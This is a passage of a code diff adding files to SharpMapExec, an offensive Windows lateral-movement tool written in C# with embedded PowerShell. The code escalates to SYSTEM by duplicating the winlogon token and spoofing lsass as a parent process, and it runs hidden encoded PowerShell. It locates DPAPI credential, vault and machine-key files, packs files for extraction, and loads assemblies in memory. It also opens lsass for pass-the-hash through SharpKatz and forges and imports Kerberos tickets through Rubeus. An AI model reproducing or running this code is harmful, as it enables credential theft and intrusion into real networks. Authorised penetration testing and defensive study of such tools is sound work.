     32 +public static extern uint GetLastError();
     33 + 
     34 +[DllImport(""kernel32.dll"", SetLastError = true)]
     35 +[return: MarshalAs(UnmanagedType.Bool)]
     36 +public static extern bool CloseHandle(
     37 + IntPtr hObject
     38 +);
     39 + 
     40 +[DllImport(""advapi32.dll"", SetLastError = true)]
     41 +public static extern bool RevertToSelf();
     42 + 
     43 +[DllImport(""advapi32.dll"", SetLastError = true)]
     44 +public static extern bool SetThreadToken(
     45 + IntPtr Thread,
     46 + IntPtr Token
     47 +);
     48 +'@
     49 +$isAdmin = (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
     50 +if ($isAdmin) {{
     51 + [intptr]$hToken = [intptr]::Zero
     52 + [IntPtr]$hDupToken = [intptr]::Zero
     53 + [IntPtr]$handle = (Get-Process 'winlogon').Handle
     54 + $Success = [Win32.advapi32]::OpenProcessToken($handle, 0x2, [ref]$hToken)
     55 + if (!$success)
     56 + {{
     57 + return 'OpenProcessToken failed!'
     58 + }}
     59 + $success = [Win32.advapi32]::DuplicateToken($hToken,2, [ref]$hDupToken)
     60 + if (!$success)
     61 + {{
     62 + return 'DuplicateToken failed!'
     63 + }}
     64 + $identity = [System.Security.Principal.WindowsIdentity]::New($hDupToken)
     65 + $output = [System.Security.Principal.WindowsIdentity]::RunImpersonated($identity.AccessToken, [Func[object]]{{
     66 + {0}
     67 + }})
     68 + $null = [Win32.advapi32]::CloseHandle($hToken)
     69 + $null = [Win32.advapi32]::CloseHandle($hDupToken)
     70 + return $Output
     71 +}}else{{
     72 + write-output 'Not admin!'
     73 + return $false
     74 +}}
     75 +";
     76 + return String.Format(function, command);
     77 + }
     78 + 
     79 + public static string RunAsSystem(string command)
     80 + {
     81 + string function = @"
     82 +$Kernel32 = Add-Type -Name 'Kernel32' -Namespace 'Win32' -MemberDefinition @'
     83 +[DllImport(""kernel32.dll"")]
     84 +[return: MarshalAs(UnmanagedType.Bool)]
     85 +public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
     86 + 
     87 +[DllImport(""kernel32.dll"", SetLastError = true)]
     88 +public static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds);
     89 + 
     90 +[DllImport(""kernel32.dll"", SetLastError = true)]
     91 +[return: MarshalAs(UnmanagedType.Bool)]
     92 +public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
     93 + 
     94 +[DllImport(""kernel32.dll"", SetLastError = true)]
     95 +[return: MarshalAs(UnmanagedType.Bool)]
     96 +public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
     97 + 
     98 +[DllImport(""kernel32.dll"", SetLastError = true)]
     99 +[return: MarshalAs(UnmanagedType.Bool)]
     100 +public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
     101 + 
     102 +[DllImport(""kernel32.dll"", SetLastError = true)]
     103 +public static extern bool CloseHandle(IntPtr hObject);
     104 + 
     105 +[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
     106 +public struct STARTUPINFOEX
     107 +{{
     108 + public STARTUPINFO StartupInfo;
     109 + public IntPtr lpAttributeList;
     110 +}}
     111 +[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
     112 +public struct STARTUPINFO
     113 +{{
     114 + public Int32 cb;
     115 + public string lpReserved;
     116 + public string lpDesktop;
     117 + public string lpTitle;
     118 + public Int32 dwX;
     119 + public Int32 dwY;
     120 + public Int32 dwXSize;
     121 + public Int32 dwYSize;
     122 + public Int32 dwXCountChars;
     123 + public Int32 dwYCountChars;
     124 + public Int32 dwFillAttribute;
     125 + public Int32 dwFlags;
     126 + public Int16 wShowWindow;
     127 + public Int16 cbReserved2;
     128 + public IntPtr lpReserved2;
     129 + public IntPtr hStdInput;
     130 + public IntPtr hStdOutput;
     131 + public IntPtr hStdError;
     132 +}}
     133 +[StructLayout(LayoutKind.Sequential)]
     134 +public struct PROCESS_INFORMATION
     135 +{{
     136 + public IntPtr hProcess;
     137 + public IntPtr hThread;
     138 + public int dwProcessId;
     139 + public int dwThreadId;
     140 +}}
     141 +[StructLayout(LayoutKind.Sequential)]
     142 +public struct SECURITY_ATTRIBUTES
     143 +{{
     144 + public int nLength;
     145 + public IntPtr lpSecurityDescriptor;
     146 + [MarshalAs(UnmanagedType.Bool)]
     147 + public bool bInheritHandle;
     148 +}}
     149 +[Flags]
     150 +public enum ProcessAccessFlags : uint
     151 +{{
     152 + All = 0x001F0FFF,
     153 + Terminate = 0x00000001,
     154 + CreateThread = 0x00000002,
     155 + VirtualMemoryOperation = 0x00000008,
     156 + VirtualMemoryRead = 0x00000010,
     157 + VirtualMemoryWrite = 0x00000020,
     158 + DuplicateHandle = 0x00000040,
     159 + CreateProcess = 0x000000080,
     160 + SetQuota = 0x00000100,
     161 + SetInformation = 0x00000200,
     162 + QueryInformation = 0x00000400,
     163 + QueryLimitedInformation = 0x00001000,
     164 + Synchronize = 0x00100000
     165 +}}
     166 +'@
     167 + 
     168 +[intptr]$parentHandle = (Get-Process 'lsass').handle
     169 +$PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
     170 +$EXTENDED_STARTUPINFO_PRESENT = 0x00080000
     171 +$CREATE_NEW_CONSOLE = 0x00000010
     172 +$CREATE_NO_WINDOW = 0x08000000
     173 +$pInfo = (New-Object Win32.Kernel32+PROCESS_INFORMATION)
     174 +$siEx = (New-Object Win32.Kernel32+STARTUPINFOEX)
     175 +$lpValueProc = [intptr]::Zero
     176 +$lpSize = [intptr]::Zero
     177 + 
     178 +$null = [Win32.Kernel32]::InitializeProcThreadAttributeList(
     179 + [intptr]::Zero,
     180 + 1,
     181 + 0,
     182 + [ref]$lpSize #20
     183 +)
     184 +$siEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize)
     185 +$null = [Win32.Kernel32]::InitializeProcThreadAttributeList(
     186 + $siEx.lpAttributeList,
     187 + 1,0,
     188 + [ref]$lpSize
     189 +)
     190 + 
     191 +$lpValueProc = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size)
     192 +[System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValueProc,$parentHandle)
     193 + 
     194 +$null = [Win32.Kernel32]::UpdateProcThreadAttribute(
     195 + $siEx.lpAttributeList,0,
     196 + [IntPtr]$PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
     197 + $lpValueProc,
     198 + [intptr][IntPtr]::Size,
     199 + [intptr]::Zero,
     200 + [intptr]::Zero
     201 +)
     202 +$ps = (New-Object Win32.Kernel32+SECURITY_ATTRIBUTES)
     203 +$ts = (New-Object Win32.Kernel32+SECURITY_ATTRIBUTES)
     204 +$ps.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($ps)
     205 +$ts.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($ts)
     206 + 
     207 +$null = [Win32.Kernel32]::CreateProcess(
     208 + 'C:\windows\System32\cmd.exe',
     209 + '/c powershell -enc {0}',
     210 + [ref]$ps,
     211 + [ref]$ts,
     212 + $true,
     213 + $EXTENDED_STARTUPINFO_PRESENT -bor $CREATE_NO_WINDOW,
     214 + [intptr]::Zero,
     215 + 'C:\Windows\System32',
     216 + [ref]$siEx,
     217 + [ref]$pInfo
     218 +)
     219 +if ($siEx.lpAttributeList -ne [IntPtr]::Zero) {{
     220 + $null = [Win32.Kernel32]::DeleteProcThreadAttributeList($siEx.lpAttributeList)
     221 + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($siEx.lpAttributeList)
     222 +}}
     223 +if ($pInfo.hProcess -ne [IntPtr]::Zero) {{
     224 + $null = [Win32.Kernel32]::CloseHandle($pInfo.hProcess)
     225 +}}
     226 +if ($pInfo.hThread -ne [IntPtr]::Zero) {{
     227 + $null = [Win32.Kernel32]::CloseHandle($pInfo.hThread)
     228 +}}
     229 +if($pInfo.dwProcessId -ne 0){{
     230 + return "" [+] System Pid Created: $($pInfo.dwProcessId)""
     231 +}}else{{
     232 + return $False
     233 +}}
     234 +";
     235 + return String.Format(function, Convert.ToBase64String(Encoding.Unicode.GetBytes(command)));
     236 + }
     237 + 
     238 + public static string FindSystemCred()
     239 + {
     240 + return @"
     241 +((@(""$env:SystemRoot\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials"",
     242 +""$env:SystemRoot\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials"",
     243 +""$env:SystemRoot\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Credentials"",
     244 +""$env:SystemRoot\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Credentials"",
     245 +""$env:SystemRoot\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Credentials"",
     246 +""$env:SystemRoot\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Credentials"") | where{test-path $_}) | get-Childitem -force).fullname | where{$_}
     247 +";
     248 + }
     249 + 
     250 + public static string FindSystemVault()
     251 + {
     252 + return @"
     253 +((@(""$env:SystemRoot\System32\config\systemprofile\AppData\Local\Microsoft\Vault"",
     254 +""$env:SystemRoot\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault"",
     255 +""$env:SystemRoot\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault"",
     256 +""$env:SystemRoot\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault"",
     257 +""$env:SystemRoot\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault"",
     258 +""$env:SystemRoot\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault"") | where{test-path $_}) | get-Childitem -force).fullname | where{$_ -match ""[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}""}
     259 +";
     260 + }
     261 + 
     262 + public static string FindSystemCert()
     263 + {
     264 + return @"
     265 +((@(""$env:SystemDrive\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"",
     266 +""$env:SystemDrive\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"",
     267 +""$env:SystemDrive\\Users\\All Users\\Application Data\\Microsoft\\Crypto\\RSA\\MachineKeys"") | where{test-path $_}) | get-Childitem -force).fullname | where{$_}
     268 +";
     269 + }
     270 + public static string CopyFile(string path)
     271 + {
     272 + return String.Format(@"
     273 +$Path = Resolve-Path '{0}'
     274 +if (![IO.File]::Exists($Path)){{return $false}}
     275 +$FileBytes = [System.IO.File]::ReadAllBytes($Path)
     276 +$Length = $FileBytes.Length
     277 +$CompressedStream = New-Object IO.MemoryStream
     278 +$GZipStream = New-Object IO.Compression.GZipStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
     279 +$GZipStream.Write($FileBytes, 0, $FileBytes.Length)
     280 +$GZipStream.Dispose()
     281 +$CompressedFileBytes = $CompressedStream.ToArray()
     282 +$CompressedStream.Dispose()
     283 +[Convert]::ToBase64String($CompressedFileBytes)
     284 +", path);
     285 + }
     286 + 
     287 + public static string DecompressData(string data)
     288 + {
     289 + return String.Format(@"
     290 +$b64 = '{0}'
     291 +$output = New-Object System.IO.MemoryStream
     292 +$Stream = New-Object IO.Compression.GZipStream([IO.MemoryStream][Convert]::FromBase64String($b64),[IO.Compression.CompressionMode]::Decompress)
     293 +$Stream.CopyTo($output)
     294 +$data = [System.Text.Encoding]::ASCII.GetString($output.ToArray())
     295 +", data);
     296 + }
     297 + 
     298 + public static string ExecuteAssembly(string path, string arguments, List<string> flags)
     299 + {
     300 + if (String.IsNullOrEmpty(arguments))
     301 + {
     302 + arguments = "";
     303 + }
     304 + string caller;
     305 + if (flags.Contains("system"))
     306 + {
     307 + caller = RunAsSystem("$([Loader.Program]::LoadAssembly($arg) | out-string)");
     308 + }
     309 + else
     310 + {
     311 + caller = "$([Loader.Program]::LoadAssembly($arg) | out-string)";
     312 + }
     313 + byte[] bytes = File.ReadAllBytes(path);
     314 + string template = String.Format(@"
     315 +$Code= @'
     316 +using System;
     317 +using System.IO;
     318 +using System.Linq;
     319 +using System.Reflection;
     320 +namespace Loader
     321 +{{
     322 + public static class Program
     323 + {{
     324 + public static string LoadAssembly(string[] args)
     325 + {{
     326 + StringWriter stringWriter = new StringWriter();
     327 + Console.SetOut(stringWriter);
     328 + Console.SetError(stringWriter);
     329 + byte[] bin = Convert.FromBase64String(""{0}"");
     330 + Assembly a = Assembly.Load(bin);
     331 + try
     332 + {{
     333 + a.EntryPoint.Invoke(null, new object[]
     334 + {{
     335 + args.Skip(1).ToArray<string>()
     336 + }});
     337 + }}
     338 + catch
     339 + {{
     340 + MethodInfo method = a.EntryPoint;
     341 + if (method != null)
     342 + {{
     343 + object o = a.CreateInstance(method.Name);
     344 + method.Invoke(o, null);
     345 + }}
     346 + }}
     347 + return stringWriter.ToString();
     348 + }}
     349 + }}
     350 +}}
     351 +'@
     352 +Add-Type -Language CSharp -TypeDefinition $code
     353 +[array]$arg = @'
     354 +null {1}
     355 +'@.split()
     356 +", Convert.ToBase64String(bytes), arguments);
     357 + 
     358 + return String.Format(@"
     359 +{0}
     360 +iEx $data
     361 +{1}
     362 +", DecompressData(Misc.CompressData(template)), caller);
     363 + }
     364 + }
     365 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/SecurityContext.cs
     1 +using Rubeus;
     2 +using Rubeus.lib.Interop;
     3 +using SharpKatz;
     4 +using SharpKatz.Module;
     5 +using SharpKatz.Win32;
     6 +using System;
     7 +using System.Diagnostics;
     8 +using System.IO;
     9 +using static Rubeus.Interop;
     10 + 
     11 +namespace SharpMapExec.Helpers
     12 +{
     13 + internal class SecurityContext
     14 + {
     15 + public class NTHash
     16 + {
     17 + public string[] Nthash { get; set; }
     18 + public string SingleNthash { get; set; }
     19 + }
     20 + 
     21 + public class ClearText
     22 + {
     23 + public ClearText()
     24 + {
     25 + }
     26 + 
     27 + public string[] Cleartext { get; set; }
     28 + public string SingleCleartext { get; set; }
     29 + }
     30 + 
     31 + public static object GetPropValue(object src, string propName)
     32 + {
     33 + return src.GetType().GetProperty(propName).GetValue(src, null);
     34 + }
     35 + 
     36 + public static int CreateNtlmPowershell(string user, string domain, string ntlmHash, string arguments)
     37 + {
     38 + if (IntPtr.Size != 8)
     39 + {
     40 + Console.WriteLine("Windows 32bit not supported");
     41 + return 0;
     42 + }
     43 + OSVersionHelper osHelper = new OSVersionHelper();
     44 + if (osHelper.build <= 9600)
     45 + {
     46 + Console.WriteLine("Unsupported OS Version");
     47 + return 0;
     48 + }
     49 + 
     50 + int procid = 0;
     51 + string argument = String.Format("/c powershell.exe -nop -w hidden -enc {0}", Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(arguments)));
     52 + string aes128 = null;
     53 + string aes256 = null;
     54 + string rc4 = null;
     55 + string binary = null;
     56 + string luid = null;
     57 + Utility.SetDebugPrivilege();
     58 + IntPtr lsasrv = IntPtr.Zero;
     59 + IntPtr wdigest = IntPtr.Zero;
     60 + IntPtr lsassmsv1 = IntPtr.Zero;
     61 + IntPtr kerberos = IntPtr.Zero;
     62 + IntPtr tspkg = IntPtr.Zero;
     63 + IntPtr lsasslive = IntPtr.Zero;
     64 + IntPtr hProcess = IntPtr.Zero;
     65 + Process plsass = Process.GetProcessesByName("lsass")[0];
     66 + ProcessModuleCollection processModules = plsass.Modules;
     67 + int modulefound = 0;
     68 + 
     69 + for (int i = 0; i < processModules.Count && modulefound < 5; i++)
     70 + {
     71 + string lower = processModules[i].ModuleName.ToLowerInvariant();
     72 + 
     73 + if (lower.Contains("lsasrv.dll"))
     74 + {
     75 + lsasrv = processModules[i].BaseAddress;
     76 + modulefound++;
     77 + }
     78 + else if (lower.Contains("kerberos.dll"))
     79 + {
     80 + kerberos = processModules[i].BaseAddress;
     81 + modulefound++;
     82 + }
     83 + }
     84 + binary = "cmd.exe";
     85 + hProcess = Natives.OpenProcess(Natives.ProcessAccessFlags.All, false, plsass.Id);
     86 + Keys keys = new Keys(hProcess, lsasrv, osHelper);
     87 + procid = Ptp.CreateProcess(hProcess, lsasrv, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), user, domain, ntlmHash, aes128, aes256, rc4, binary, argument, luid, false);
     88 + return procid;
     89 + }
     90 + 
     91 + public static void SetThreadToken(string user, string domain, string ntlmHash)
     92 + {
     93 + if (IntPtr.Size != 8)
     94 + {
     95 + Console.WriteLine("Windows 32bit not supported");
     96 + return;
     97 + }
     98 + OSVersionHelper osHelper = new OSVersionHelper();
     99 + if (osHelper.build <= 9600)
     100 + {
     101 + Console.WriteLine("Unsupported OS Version");
     102 + return;
     103 + }
     104 + string aes128 = null;
     105 + string aes256 = null;
     106 + string rc4 = null;
     107 + string binary = null;
     108 + string arguments = null;
     109 + string luid = null;
     110 + Utility.SetDebugPrivilege();
     111 + IntPtr lsasrv = IntPtr.Zero;
     112 + IntPtr wdigest = IntPtr.Zero;
     113 + IntPtr lsassmsv1 = IntPtr.Zero;
     114 + IntPtr kerberos = IntPtr.Zero;
     115 + IntPtr tspkg = IntPtr.Zero;
     116 + IntPtr lsasslive = IntPtr.Zero;
     117 + IntPtr hProcess = IntPtr.Zero;
     118 + Process plsass = Process.GetProcessesByName("lsass")[0];
     119 + ProcessModuleCollection processModules = plsass.Modules;
     120 + int modulefound = 0;
     121 + 
     122 + for (int i = 0; i < processModules.Count && modulefound < 5; i++)
     123 + {
     124 + string lower = processModules[i].ModuleName.ToLowerInvariant();
     125 + 
     126 + if (lower.Contains("lsasrv.dll"))
     127 + {
     128 + lsasrv = processModules[i].BaseAddress;
     129 + modulefound++;
     130 + }
     131 + else if (lower.Contains("kerberos.dll"))
     132 + {
     133 + kerberos = processModules[i].BaseAddress;
     134 + modulefound++;
     135 + }
     136 + }
     137 + binary = "cmd.exe";
     138 + hProcess = Natives.OpenProcess(Natives.ProcessAccessFlags.All, false, plsass.Id);
     139 + Keys keys = new Keys(hProcess, lsasrv, osHelper);
     140 + Pth.CreateProcess(hProcess, lsasrv, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), user, domain, ntlmHash, aes128, aes256, rc4, binary, arguments, luid, true);
     141 + }
     142 + 
     143 + public static string AskTicket(string user, string domain, string hash, KERB_ETYPE encType, string dc)
     144 + {
     145 + LUID luid = new LUID();
     146 + string ticketoutput = "";
     147 + var originalConsoleOut = Console.Out;
     148 + using (var writer = new StringWriter())
     149 + {
     150 + Console.SetOut(writer);
     151 + Ask.TGT(user, domain, hash, encType, null, true, dc, luid, false);
     152 + writer.Flush();
     153 + ticketoutput = writer.GetStringBuilder().ToString();
     154 + }
     155 + Console.SetOut(originalConsoleOut);
     156 + return ticketoutput;
     157 + }
     158 + 
     159 + public static string ImportTicket(string ticket)
     160 + {
     161 + LUID luid = new LUID();
     162 + string ticketoutput = "";
     163 + var originalConsoleOut = Console.Out;
     164 + using (var writer = new StringWriter())
     165 + {
     166 + Console.SetOut(writer);
     167 + if (Rubeus.Helpers.IsBase64String(ticket))
     168 + {
     169 + byte[] kirbiBytes = Convert.FromBase64String(ticket);
     170 + Rubeus.LSA.ImportTicket(kirbiBytes, luid);
     171 + }
     172 + else if (File.Exists(ticket))
     173 + {
     174 + byte[] kirbiBytes = File.ReadAllBytes(ticket);
     175 + Rubeus.LSA.ImportTicket(kirbiBytes, luid);
     176 + }
     177 + writer.Flush();
     178 + ticketoutput = writer.GetStringBuilder().ToString();
     179 + }
     180 + Console.SetOut(originalConsoleOut);
     181 + return ticketoutput;
     182 + }
     183 + }
     184 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/Tasks.cs
     1 +using System.Collections.Generic;
     2 +using System.Linq;
     3 +using System.Threading;
     4 +using System.Threading.Tasks;
     5 + 
     6 +namespace SharpMapExec.Helpers
     7 +{
     8 + public static class Tasks
     9 + {
     10 + /// <summary>
     11 + /// Starts the given tasks and waits for them to complete. This will run, at most, the specified number of tasks in parallel.
     12 + /// <para>NOTE: If one of the given tasks has already been started, an exception will be thrown.</para>
     13 + /// </summary>
     14 + /// <param name="tasksToRun">The tasks to run.</param>
     15 + /// <param name="maxTasksToRunInParallel">The maximum number of tasks to run in parallel.</param>
     16 + /// <param name="cancellationToken">The cancellation token.</param>
     17 + public static void StartAndWaitAllThrottled(IEnumerable<Task> tasksToRun, int maxTasksToRunInParallel, CancellationToken cancellationToken = new CancellationToken())
     18 + {
     19 + StartAndWaitAllThrottled(tasksToRun, maxTasksToRunInParallel, -1, cancellationToken);
     20 + }
     21 + 
     22 + /// <summary>
     23 + /// Starts the given tasks and waits for them to complete. This will run, at most, the specified number of tasks in parallel.
     24 + /// <para>NOTE: If one of the given tasks has already been started, an exception will be thrown.</para>
     25 + /// </summary>
     26 + /// <param name="tasksToRun">The tasks to run.</param>
     27 + /// <param name="maxTasksToRunInParallel">The maximum number of tasks to run in parallel.</param>
     28 + /// <param name="timeoutInMilliseconds">The maximum milliseconds we should allow the max tasks to run in parallel before allowing another task to start. Specify -1 to wait indefinitely.</param>
     29 + /// <param name="cancellationToken">The cancellation token.</param>
     30 + public static void StartAndWaitAllThrottled(IEnumerable<Task> tasksToRun, int maxTasksToRunInParallel, int timeoutInMilliseconds, CancellationToken cancellationToken = new CancellationToken())
     31 + {
     32 + // Convert to a list of tasks so that we don&#39;t enumerate over it multiple times needlessly.
     33 + var tasks = tasksToRun.ToList();
     34 + 
     35 + using (var throttler = new SemaphoreSlim(maxTasksToRunInParallel))
     36 + {
     37 + var postTaskTasks = new List<Task>();
     38 + 
     39 + // Have each task notify the throttler when it completes so that it decrements the number of tasks currently running.
     40 + tasks.ForEach(t => postTaskTasks.Add(t.ContinueWith(tsk => throttler.Release())));
     41 + 
     42 + // Start running each task.
     43 + foreach (var task in tasks)
     44 + {
     45 + // Increment the number of tasks currently running and wait if too many are running.
     46 + throttler.Wait(timeoutInMilliseconds, cancellationToken);
     47 + 
     48 + cancellationToken.ThrowIfCancellationRequested();
     49 + task.Start();
     50 + }
     51 + 
     52 + // Wait for all of the provided tasks to complete.
     53 + // We wait on the list of "post" tasks instead of the original tasks, otherwise there is a potential race condition where the throttler&#39;s using block is exited before some Tasks have had their "post" action completed, which references the throttler, resulting in an exception due to accessing a disposed object.
     54 + Task.WaitAll(postTaskTasks.ToArray(), cancellationToken);
     55 + }
     56 + }
     57 + }
     58 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/Crypto.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.IO;
     4 +using System.Linq;
     5 +using System.Security.Cryptography;
     6 + 
     7 +namespace SharpMapExec.HiveParser
     8 +{
     9 + internal static class Crypto
     10 + {
     11 + //https://rosettacode.org/wiki/MD4
     12 + public static byte[] Md4Hash2(this byte[] input)
     13 + {
     14 + // get padded uints from bytes
     15 + List<byte> bytes = input.ToList();
     16 + uint bitCount = (uint)(bytes.Count) * 8;
     17 + bytes.Add(128);
     18 + while (bytes.Count % 64 != 56) bytes.Add(0);
     19 + var uints = new List<uint>();
     20 + for (int i = 0; i + 3 < bytes.Count; i += 4)
     21 + uints.Add(bytes[i] | (uint)bytes[i + 1] << 8 | (uint)bytes[i + 2] << 16 | (uint)bytes[i + 3] << 24);
     22 + uints.Add(bitCount);
     23 + uints.Add(0);
     24 + 
     25 + // run rounds
     26 + uint a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476;
     27 + Func<uint, uint, uint> rol = (x, y) => x << (int)y | x >> 32 - (int)y;
     28 + for (int q = 0; q + 15 < uints.Count; q += 16)
     29 + {
     30 + var chunk = uints.GetRange(q, 16);
     31 + uint aa = a, bb = b, cc = c, dd = d;
     32 + Action<Func<uint, uint, uint, uint>, uint[]> round = (f, y) =>
     33 + {
     34 + foreach (uint i in new[] { y[0], y[1], y[2], y[3] })
     35 + {
     36 + a = rol(a + f(b, c, d) + chunk[(int)(i + y[4])] + y[12], y[8]);
     37 + d = rol(d + f(a, b, c) + chunk[(int)(i + y[5])] + y[12], y[9]);
     38 + c = rol(c + f(d, a, b) + chunk[(int)(i + y[6])] + y[12], y[10]);
     39 + b = rol(b + f(c, d, a) + chunk[(int)(i + y[7])] + y[12], y[11]);
     40 + }
     41 + };
     42 + round((x, y, z) => (x & y) | (~x & z), new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 });
     43 + round((x, y, z) => (x & y) | (x & z) | (y & z), new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 });
     44 + round((x, y, z) => x ^ y ^ z, new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 });
     45 + a += aa; b += bb; c += cc; d += dd;
     46 + }
     47 + // return hex encoded string
     48 + byte[] outBytes = new[] { a, b, c, d }.SelectMany(BitConverter.GetBytes).ToArray();
     49 + return outBytes;
     50 + }
     51 + 
     52 + //https://stackoverflow.com/questions/28613831/encrypt-decrypt-querystring-values-using-aes-256
     53 + public static byte[] DecryptAES_ECB(byte[] value, byte[] key)
     54 + {
     55 + AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
     56 + aes.BlockSize = 128;
     57 + aes.Key = key;
     58 + aes.Mode = CipherMode.ECB;
     59 + aes.Padding = PaddingMode.None;
     60 + using (ICryptoTransform decrypt = aes.CreateDecryptor())
     61 + {
     62 + byte[] dest = decrypt.TransformFinalBlock(value, 0, value.Length);
     63 + return dest;
     64 + }
     65 + }
     66 + 
     67 + public static byte[] DecryptAES_CBC(byte[] value, byte[] key, byte[] iv)
     68 + {
     69 + AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
     70 + aes.BlockSize = 128;
     71 + aes.Key = key;
     72 + aes.Mode = CipherMode.CBC;
     73 + aes.IV = iv;
     74 + //you would think this would work to pad out the rest of the final block to 16, but it doesnt? ¯\_(ツ)_/¯
     75 + aes.Padding = PaddingMode.Zeros;
     76 + 
     77 + int tailLength = value.Length % 16;
     78 + if (tailLength != 0)
     79 + {
     80 + List<byte> manualPadding = new List<byte>();
     81 + for (int i = 16 - tailLength; i > 0; i--)
     82 + {
     83 + manualPadding.Add(0x00);
     84 + }
     85 + byte[] concat = new byte[value.Length + manualPadding.Count];
     86 + System.Buffer.BlockCopy(value, 0, concat, 0, value.Length);
     87 + System.Buffer.BlockCopy(manualPadding.ToArray(), 0, concat, value.Length, manualPadding.Count);
     88 + value = concat;
     89 + }
     90 + 
     91 + using (ICryptoTransform decrypt = aes.CreateDecryptor())
     92 + {
     93 + byte[] dest = decrypt.TransformFinalBlock(value, 0, value.Length);
     94 + return dest;
     95 + }
     96 + }
     97 + 
     98 + public static byte[] ComputeSha256(byte[] key, byte[] value)
     99 + {
     100 + MemoryStream memStream = new MemoryStream();
     101 + memStream.Write(key, 0, key.Length);
     102 + for (int i = 0; i < 1000; i++)
     103 + {
     104 + memStream.Write(value, 0, 32);
     105 + }
     106 + byte[] shaBase = memStream.ToArray();
     107 + using (SHA256 sha256Hash = SHA256.Create())
     108 + {
     109 + byte[] newSha = sha256Hash.ComputeHash(shaBase);
     110 + return newSha;
     111 + }
     112 + }
     113 + 
     114 + //https://stackoverflow.com/questions/7217627/is-there-anything-wrong-with-this-rc4-encryption-code-in-c-sharp
     115 + public static byte[] RC4Encrypt(byte[] pwd, byte[] data)
     116 + {
     117 + int a, i, j, k, tmp;
     118 + int[] key, box;
     119 + byte[] cipher;
     120 + 
     121 + key = new int[256];
     122 + box = new int[256];
     123 + cipher = new byte[data.Length];
     124 + 
     125 + for (i = 0; i < 256; i++)
     126 + {
     127 + key[i] = pwd[i % pwd.Length];
     128 + box[i] = i;
     129 + }
     130 + for (j = i = 0; i < 256; i++)
     131 + {
     132 + j = (j + box[i] + key[i]) % 256;
     133 + tmp = box[i];
     134 + box[i] = box[j];
     135 + box[j] = tmp;
     136 + }
     137 + for (a = j = i = 0; i < data.Length; i++)
     138 + {
     139 + a++;
     140 + a %= 256;
     141 + j += box[a];
     142 + j %= 256;
     143 + tmp = box[a];
     144 + box[a] = box[j];
     145 + box[j] = tmp;
     146 + k = box[((box[a] + box[j]) % 256)];
     147 + cipher[i] = (byte)(data[i] ^ k);
     148 + }
     149 + return cipher;
     150 + }
     151 + 
     152 + //method from SidToKey - https://github.com/woanware/ForensicUserInfo/blob/master/Source/SamParser.cs
     153 + private static void RidToKey(string hexRid, ref List<byte> key1, ref List<byte> key2)
     154 + {
     155 + int rid = Int32.Parse(hexRid, System.Globalization.NumberStyles.HexNumber);
     156 + List<byte> temp1 = new List<byte>();
     157 + 
     158 + byte temp = (byte)(rid & 0xFF);
     159 + temp1.Add(temp);
     160 + 
     161 + temp = (byte)(((rid >> 8) & 0xFF));
     162 + temp1.Add(temp);
     163 + 
     164 + temp = (byte)(((rid >> 16) & 0xFF));
     165 + temp1.Add(temp);
     166 + 
     167 + temp = (byte)(((rid >> 24) & 0xFF));
     168 + temp1.Add(temp);
     169 + 
     170 + temp1.Add(temp1[0]);
     171 + temp1.Add(temp1[1]);
